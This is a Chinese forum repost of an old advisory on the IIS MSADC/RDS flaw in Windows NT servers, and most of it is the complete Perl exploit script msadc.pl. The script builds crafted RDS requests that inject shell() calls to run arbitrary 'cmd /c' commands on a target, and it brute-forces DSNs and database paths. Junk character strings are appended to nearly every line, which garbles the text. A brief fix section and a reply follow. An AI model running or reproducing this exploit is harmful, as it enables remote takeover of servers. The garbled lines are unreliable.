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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) G#1W":|`  
]\/"-Y#4Q  
涉及程序: xO4""/ n  
Microsoft NT server `yC[Fn"E^  
#[Rs&$vQm  
描述: FyNm1QNy^  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 :OA;vp~$x  
Bc'Mj=>;  
详细: Ou+bce  
如果你没有时间读详细内容的话,就删除: I |"'  
c:\Program Files\Common Files\System\Msadc\msadcs.dll u>*qDr* d  
有关的安全问题就没有了。 ~G.MaSm  
I]WvcDJ}C  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Th$xk9TK^@  
j_z@VT}y  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 7W>(T8K X\  
关于利用ODBC远程漏洞的描述,请参看: `$3ktQ$  
 6NSSuK3  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm J'yCVb)V  
d<w]>T5VW  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 LXTtV0F  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5tEkQ(Ei8  
,V{Bpr  
这里不再论述。 SH O&:2  
bgkBgugZhX  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: :NB.ib@*  
hDc2T  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset MeAY\V%G=o  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! &kT!GU^n  
q#\B}'I{  
3ug~m-_  
#将下面这段保存为txt文件,然后: "perl -x 文件名" NLUiNfCR  
r,Msg&rT  
#!perl at1 oxmy  
# ;Eh"]V,e  
# MSADC/RDS 'usage' (aka exploit) script q d:"LS  
# dJlK'zK  
# by rain.forest.puppy _rz\[{)  
# We'=/!  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ;vn0b"Fi3  
# beta test and find errors! ]Rxrt~ ZB  
7p>T6jK)  
use Socket; use Getopt::Std; }9FWtXAU^1  
getopts("e:vd:h:XR", \%args); .')^4\  
>ul&x!?@  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Yu9VtC1  
HrT@Df  
if (!defined $args{h} && !defined $args{R}) { <N3~X,ch  
print qq~ 12Fnv/[n'K  
Usage: msadc.pl -h <host> { -d <delay> -X -v } U!YoZ?  
-h <host> = host you want to scan (ip or domain) %ofq  
-d <seconds> = delay between calls, default 1 second muKu@nshL  
-X = dump Index Server path table, if available f 0~Z@\  
-v = verbose 5glEV`.je  
-e = external dictionary file for step 5 Mgu9m8 `J  
$-<yX<.  
Or a -R will resume a command session /AY q^  
Bx.hFEL  
~; exit;} =F dFLrx~l  
/q/^B> ]  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; SzFh  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} JV+Uy$P!  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} %CgmZTz~<  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); $#wi2Ve=6b  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ^x_.3E3Q  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } x}x)h3e  
u;b6uE  
if (!defined $args{R}){ $ret = &has_msadc; c;=St1eoz  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} <,H/7Ba  
F)19cKx7  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" _T=";NSa  
. "cmd /c "; y{XNB}E  
$in=<STDIN>; chomp $in; c)q=il7ef  
$command="cmd /c " . $in ; brL u~]I  
ZvK3Su)f1  
if (defined $args{R}) {&load; exit;} u{dkUG1ia  
- 8jlh  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 5bol)Z9BO  
&try_btcustmr; cvx"XxE,  
>z,Y%A  
print "\nStep 2: Trying to make our own DSN..."; Ad -_=a%  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ")NQwT}  
*/vid(P77  
print "\nStep 3: Trying known DSNs..."; CM `Q((  
&known_dsn; "'>fTk_  
DYe w6B-  
print "\nStep 4: Trying known .mdbs..."; `eGp.[ffT  
&known_mdb; .li)k[] ts  
~u?rjkSFoh  
if (defined $args{e}){ kjSzu qB  
print "\nStep 5: Trying dictionary of DSN names..."; h}S2b@e|  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } E#kH>q@K`$  
Ysi@wK-LnF  
print "Sorry Charley...maybe next time?\n"; 37V$Qb_  
exit; Q0xQx z  
*6v5JH&K  
############################################################################## dE (d'*+a  
q"-Vh,8h  
sub sendraw { # ripped and modded from whisker >(sS4_O7N  
sleep($delay); # it's a DoS on the server! At least on mine... A~L Ti  
my ($pstr)=@_; 9YBlMf`KEf  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || u R!'v  
die("Socket problems\n"); O [=W%2I!i  
if(connect(S,pack "SnA4x8",2,80,$target)){ TI8E W  
select(S); $|=1; y!j>_m){w  
print $pstr; my @in=<S>; swhtlc@@  
select(STDOUT); close(S); W5&KmA  
return @in; zS?DXE  
} else { die("Can't connect...\n"); }} _G)x\K]N  
J/[PA[Rf  
############################################################################## O:dUzZR['  
zK*i:(>B  
sub make_header { # make the HTTP request MOIVt) ZY  
my $msadc=<<EOT GVdJ&d\x  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 e"2x!(&n(  
User-Agent: ACTIVEDATA O@rZ ^Aa  
Host: $ip *`tQX$F  
Content-Length: $clen *#'&a(h B!  
Connection: Keep-Alive tTJ$tx  
Xd&oERJj  
ADCClientVersion:01.06 B^x}=Z4  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 &2W`dEv]?  
W#9LK Jj  
--!ADM!ROX!YOUR!WORLD! `1R[J4e  
Content-Type: application/x-varg P{8<U8E  
Content-Length: $reqlen UD5f+,_;  
ZXWm?9uw  
EOT o6r ^  
; $msadc=~s/\n/\r\n/g; qPCI@5n3T?  
return $msadc;} hud'@O"R+  
LM".]f!,  
############################################################################## D\sh +}"  
Z0Qh7xWve  
sub make_req { # make the RDS request x2g=%K=  
my ($switch, $p1, $p2)=@_; P;e@<O  
my $req=""; my $t1, $t2, $query, $dsn; ]T>YYz  
r / L  
if ($switch==1){ # this is the btcustmr.mdb query v<?k$ e5  
$query="Select * from Customers where City=" . make_shell(); V}4u1oG  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . J5\2`U_FZ  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 6Kd,(DI  
_Tma1 ~Gq  
elsif ($switch==2){ # this is general make table query "ScY'<  
$query="create table AZZ (B int, C varchar(10))"; 0a)LZp|  
$dsn="$p1";} 0U:9&j P,  
o31pF  
elsif ($switch==3){ # this is general exploit table query <9?`zo$y  
$query="select * from AZZ where C=" . make_shell(); ;3sJ7%`v  
$dsn="$p1";} ~"vRH  
97VS xhr  
elsif ($switch==4){ # attempt to hork file info from index server kn6X I*  
$query="select path from scope()"; \J{ %xW>  
$dsn="Provider=MSIDXS;";} [b@9V_  
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elsif ($switch==5){ # bad query ==~ lc;  
$query="select"; a]R1Fi0n  
$dsn="$p1";} Z`'&yG;U  
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$t1= make_unicode($query); 1$ {Cwb/F  
$t2= make_unicode($dsn); i>@"&  
$req = "\x02\x00\x03\x00"; ro@`S:  
$req.= "\x08\x00" . pack ("S1", length($t1));  /w(t=Y  
$req.= "\x00\x00" . $t1 ; n0=[N'Tw3  
$req.= "\x08\x00" . pack ("S1", length($t2)); JA^Y:@<{/  
$req.= "\x00\x00" . $t2 ; b/'RJQSAc  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 4031~A8  
return $req;} l":Z. J  
A(qy>x-BI  
############################################################################## Kj*:G!r0.:  
%!Ak]|[7  
sub make_shell { # this makes the shell() statement Kyq/o-  
return "'|shell(\"$command\")|'";} ngQ]  
=Ev* Q[  
############################################################################## /g]m,Y{OI  
)I9Wa*I  
sub make_unicode { # quick little function to convert to unicode fk:oCPo  
my ($in)=@_; my $out;  k/}E(_e  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ` Ui|T  
return $out;} TZ%u;tBH:  
c{s%kVOzg  
############################################################################## ?W4IAbT\G  
I:%O`F  
sub rdo_success { # checks for RDO return success (this is kludge) 4F>?G{ci  
my (@in) = @_; my $base=content_start(@in); 9DP6g<>B  
if($in[$base]=~/multipart\/mixed/){ Q[N6#C:(4  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} HX:rVHY  
return 0;} Jri"Toz0  
{(!j6|jK  
############################################################################## 6@@J>S>  
?-IjaDC}  
sub make_dsn { # this makes a DSN for us uyITUvPg[  
my @drives=("c","d","e","f"); 7'9~Kx&+  
print "\nMaking DSN: "; C@i4[g){  
foreach $drive (@drives) { U[UjL)U  
print "$drive: "; -Am ~CM  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . @ \(*pa  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 3<nd;@:-  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); e$+?l~  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; F7zBm53  
return 0 if $2 eq "404"; # not found/doesn't exist N\OeWjA F  
if($2 eq "200") { vg5 ;F[e  
foreach $line (@results) { 0*KU"JcXd  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} _n;V iQMu  
} return 0;} sA u ;i  
Z ^tF  
############################################################################## vpGeG  
hw [G  
sub verify_exists { \Q+<G-Kb.  
my ($page)=@_; <e 'S'  
my @results=sendraw("GET $page HTTP/1.0\n\n"); <ZV !fn  
return $results[0];} b4$-?f?V  
/M;A)z  
############################################################################## yI 6AafS~  
"3"9sIZ(  
sub try_btcustmr { SBY  
my @drives=("c","d","e","f"); l`s_ #3  
my @dirs=("winnt","winnt35","winnt351","win","windows"); |3?qL  
?6gC;B  
foreach $dir (@dirs) { NyTv~8A`)  
print "$dir -> "; # fun status so you can see progress 9oL/oL-J/  
foreach $drive (@drives) { 7Xu.z9y  
print "$drive: "; # ditto 0N~AQu  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ]$'w8<D>t,  
$reqlenlen=length( "$reqlen" ); p}j$p'D.RI  
$clen= 206 + $reqlenlen + $reqlen; }-:s9Lt  
"+2Hde1  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); h9,ui^#d$  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} V3'QA1$  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} AK/_^?zAs  
)/u?_)b4"  
############################################################################## e{~s\G8g  
7ZbnG@s7  
sub odbc_error { FL+^r6DQ  
my (@in)=@_; my $base; &n.7~C]R  
my $base = content_start(@in); e5_:15%R\  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 5sD\4g)HK  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; M4rOnIJ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 064k;|>D  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &XV9_{Hm  
return $in[$base+4].$in[$base+5].$in[$base+6];} c~4Cpy^  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; X 0iy  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 4 ob?M:S  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} W+GC3W   
+SF+$^T  
############################################################################## I`(53LCqo  
ImG8v[Q E  
sub verbose { <5D4h!  
my ($in)=@_; Z1jxu;O(  
return if !$verbose; 2Mk;r*FT  
print STDOUT "\n$in\n";} 2GORGS%  
7)]boW~Q  
############################################################################## ?_FL 'G  
<$yA*  
sub save { > SLQW  
my ($p1, $p2, $p3, $p4)=@_; :{N*Z}]  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; "b~C/-W I  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; `kuu}YUi  
close OUT;} mW4Cc1*  
^utOVi  
############################################################################## QmjE\TcK/  
?IYu"UO<)|  
sub load { f*<Vq:N=\  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; }3A~ek#*~  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); \?]U*)B.r  
@p=<IN>; close(IN); w$/lq~zU  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); g=[OH  
$target= inet_aton($ip) || die("inet_aton problems"); _Iminet  
print "Resuming to $ip ..."; Mib .,J~  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; t 86w&  
if($p[1]==1) { _\KFMe= PV  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; e2v`  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; <zR{'7L/  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Et!J*{s  
if (rdo_success(@results)){print "Success!\n";} l>K+4  
else { print "failed\n"; verbose(odbc_error(@results));}} `X5!s  
elsif ($p[1]==3){ uUg;v/:  
if(run_query("$p[3]")){ IK\~0L;ozE  
print "Success!\n";} else { print "failed\n"; }} A!Cby!,  
elsif ($p[1]==4){ $*942. =Q  
if(run_query($drvst . "$p[3]")){ nf^?X`g  
print "Success!\n"; } else { print "failed\n"; }} \KnRQtlI  
exit;} }ofb]_C,  
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##############################################################################  y Ne?a{  
TG}owG]]  
sub create_table { z^U+ oG  
my ($in)=@_; w[ v {)  
$reqlen=length( make_req(2,$in,"") ) - 28; X#ttDB  
$reqlenlen=length( "$reqlen" ); =}#yi<Lt  
$clen= 206 + $reqlenlen + $reqlen; ,)Q-o2(C  
my @results=sendraw(make_header() . make_req(2,$in,"")); m;~}}~&vQ  
return 1 if rdo_success(@results); *rmC3'}s  
my $temp= odbc_error(@results); verbose($temp); VIz(@  
return 1 if $temp=~/Table 'AZZ' already exists/; `s)4F~aVo  
return 0;} _K9`o^g%PJ  
).;{'8Q  
############################################################################## 7S }0Kuk)  
!CUl1L1DSi  
sub known_dsn { 6ieul@?*u*  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go :oZ<[#p"*  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", _ l|%~  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", u9"yU:1keb  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); m "9f(  
K khuPBd2  
foreach $dSn (@dsns) { K>DN6{hnV;  
print "."; qR'FbI  
next if (!is_access("DSN=$dSn")); GK}52,NM  
if(create_table("DSN=$dSn")){ h p|v?3(  
print "$dSn successful\n"; p[C"K0>:_F  
if(run_query("DSN=$dSn")){ ^[7Mp  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 'nq=xi@RC  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Jj\4P1|'7  
9,'m,2%W  
############################################################################## Ma|4nLC}  
f\hMTebma$  
sub is_access { 7<xnE]jdq  
my ($in)=@_; 2'?'dfj  
$reqlen=length( make_req(5,$in,"") ) - 28; XLn9NBT4K  
$reqlenlen=length( "$reqlen" ); gsyOf*Q$  
$clen= 206 + $reqlenlen + $reqlen; ?$6H',u  
my @results=sendraw(make_header() . make_req(5,$in,"")); 8:{id>Mm^  
my $temp= odbc_error(@results); I1fpX |  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); F"] P|   
return 0;} +]%S}<R  
BTkx}KK  
############################################################################## vN{@c(=g  
Eb ILAJ  
sub run_query { U=G49 ~E  
my ($in)=@_; Q~(Gll;  
$reqlen=length( make_req(3,$in,"") ) - 28; M- ^I!C  
$reqlenlen=length( "$reqlen" ); ^Gk`n  
$clen= 206 + $reqlenlen + $reqlen; h-P|O6@Ki  
my @results=sendraw(make_header() . make_req(3,$in,"")); oN1D&*  
return 1 if rdo_success(@results); V.*TOU{{xh  
my $temp= odbc_error(@results); verbose($temp); 0VNLhM(LM  
return 0;} =K`.$R  
)aIcA  
############################################################################## efQ8jO  
QXkA%'@'  
sub known_mdb { kG>jb!e@(  
my @drives=("c","d","e","f","g"); sC-o'13  
my @dirs=("winnt","winnt35","winnt351","win","windows"); dVb6u  
my $dir, $drive, $mdb; h0PDFMM<  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; gs'M^|e)  
e"04jd/  
# this is sparse, because I don't know of many x0<;Rm [u=  
my @sysmdbs=( "\\catroot\\icatalog.mdb", &42 ]#B"*  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", EwPrh  
"\\system32\\certmdb.mdb", p1KhI;^  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% -8n1y[  
y*iZ;Bv j  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ]pR?/3  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ,sL'T[tuiU  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", OXQ*Xpc  
"\\cfusion\\cfapps\\security\\realm_.mdb", *igmi9A  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ws0qwv#  
"\\cfusion\\database\\cfexamples.mdb", <[db)r~c  
"\\cfusion\\database\\cfsnippets.mdb", 60+zoL'  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", jSem/;  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", *J-pAN  
"\\cfusion\\brighttiger\\database\\cleam.mdb", /I7V\  
"\\cfusion\\database\\smpolicy.mdb", 9lYKG ^#D  
"\\cfusion\\database\cypress.mdb", PF~@@j  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", VIp|U{  
"\\website\\cgi-win\\dbsample.mdb", Cf[tNq  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ?Q]&;5o  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" N1'`^ay$  
); #these are just eGEwXza 4  
foreach $drive (@drives) { 0>|q[SC  
foreach $dir (@dirs){ O\=Z;}<N  
foreach $mdb (@sysmdbs) { 1bV G%N  
print "."; X/4CXtX^  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ JG!B3^qB  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";  ew1L+  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ |=}+%>y_  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; E22o-nI?1  
} else { print "Something's borked. Use verbose next time\n"; }}}}} lM\dK)p21O  
jW:7PS  
foreach $drive (@drives) { *Dp&;,b  
foreach $mdb (@mdbs) { 8&@=Anc&q  
print "."; zVE" 6  
if(create_table($drv . $drive . $dir . $mdb)){ wiN0|h>,  
print "\n" . $drive . $dir . $mdb . " successful\n"; M1Q&)am  
if(run_query($drv . $drive . $dir . $mdb)){ P#A,(Bke3  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; s$#64"F  
} else { print "Something's borked. Use verbose next time\n"; }}}} 9~UR(Ts}l  
} o26Y }W  
Gld~GyB\k  
############################################################################## 1clzDwW  
K&[0`sH!  
sub hork_idx { p\[!=ZXFr\  
print "\nAttempting to dump Index Server tables...\n"; (pELd(*Ga  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; H1-DK+Q:  
$reqlen=length( make_req(4,"","") ) - 28; )q<VZ|V  
$reqlenlen=length( "$reqlen" ); WDw<kX6p  
$clen= 206 + $reqlenlen + $reqlen; Gpu[<Z4  
my @results=sendraw2(make_header() . make_req(4,"","")); )?72 +X  
if (rdo_success(@results)){ g (&cq  
my $max=@results; my $c; my %d; #eJfwc1JY  
for($c=19; $c<$max; $c++){ XIIq0I  
$results[$c]=~s/\x00//g; Vg$d|m${  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 0/ QDfA?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; \6 \bD<  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; &eV5#Ph  
$d{"$1$2"}="";} Be{@ L  
foreach $c (keys %d){ print "$c\n"; } wiI@DJ>E  
} else {print "Index server doesn't seem to be installed.\n"; }}  hE:~~ox  
= o(}=T>:"  
##############################################################################  m}yu4  
Ny"9!3V   
sub dsn_dict { `v?hL~  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 0eO!,/  
while(<IN>){ >"/TiQt  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^$oa`B^2JM  
next if (!is_access("DSN=$dSn")); V_ 6K?~j  
if(create_table("DSN=$dSn")){ ytj});,>  
print "$dSn successful\n"; OXLB{|hH80  
if(run_query("DSN=$dSn")){ E]q>ggeNH  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { XB'rh F8rl  
print "Something's borked. Use verbose next time\n";}}} )nHMXZ>Td  
print "\n"; close(IN);} #Shy^58$  
TD\TVK3P  
############################################################################## S[y'{;  
u4lM>(3Y}  
sub sendraw2 { # ripped and modded from whisker ,q*|R O  
sleep($delay); # it's a DoS on the server! At least on mine... H'S~GP4D  
my ($pstr)=@_; D?ic~-&  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 5JOfJ$(n  
die("Socket problems\n"); M0m%S:2  
if(connect(S,pack "SnA4x8",2,80,$target)){ !wAnsK  
print "Connected. Getting data"; Gh_5$@ hF  
open(OUT,">raw.out"); my @in; YEV;GFI1  
select(S); $|=1; print $pstr; J|xXo  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} =)y$&Ydj  
close(OUT); select(STDOUT); close(S); return @in; M]V j  
} else { die("Can't connect...\n"); }} O#tmB?n*  
!T`g\za/  
############################################################################## >$}Mr%49  
.dzw5R&  
sub content_start { # this will take in the server headers pe[huYE  
my (@in)=@_; my $c; R?:K\  
for ($c=1;$c<500;$c++) { ]@SEOc@ j  
if($in[$c] =~/^\x0d\x0a/){ wB8548C}-  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } L^^f.w#m  
else { return $c+1; }}} ^p4`o>  
return -1;} # it should never get here actually  V13^SVM  
:qXREF@h  
############################################################################## P Jb /tKC  
j; /@A lZl  
sub funky { "7 alpjwb  
my (@in)=@_; my $error=odbc_error(@in); MXVCu"g%  
if($error=~/ADO could not find the specified provider/){ [HXd|,~_j-  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; L%7WHtU*#  
exit;} "`K73M,c?9  
if($error=~/A Handler is required/){ !G;BYr>X  
print "\nServer has custom handler filters (they most likely are patched)\n"; 2QHu8mFU  
exit;} Mn\L55?E(  
if($error=~/specified Handler has denied Access/){ :@~3wD[y  
print "\nServer has custom handler filters (they most likely are patched)\n"; YbVZK4  
exit;}} `5t~ Vlp  
>taT V_,  
############################################################################## !H^R_GC  
IL8&MA%  
sub has_msadc { Gd&G*x  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); tchpO3u,  
my $base=content_start(@results); Sr10ot&ox  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); <Dnv=)Rq  
return 0;} USf;}F:-C  
K<ldl.  
######################## Ky7-6$  
>48)@sS  
'\7&Iz:%  
解决方案: A- hWg;  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll >GDN~'}^oz  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 \h/aD1 &g  
r#.\5aQ t  
拿出来充数 哈哈
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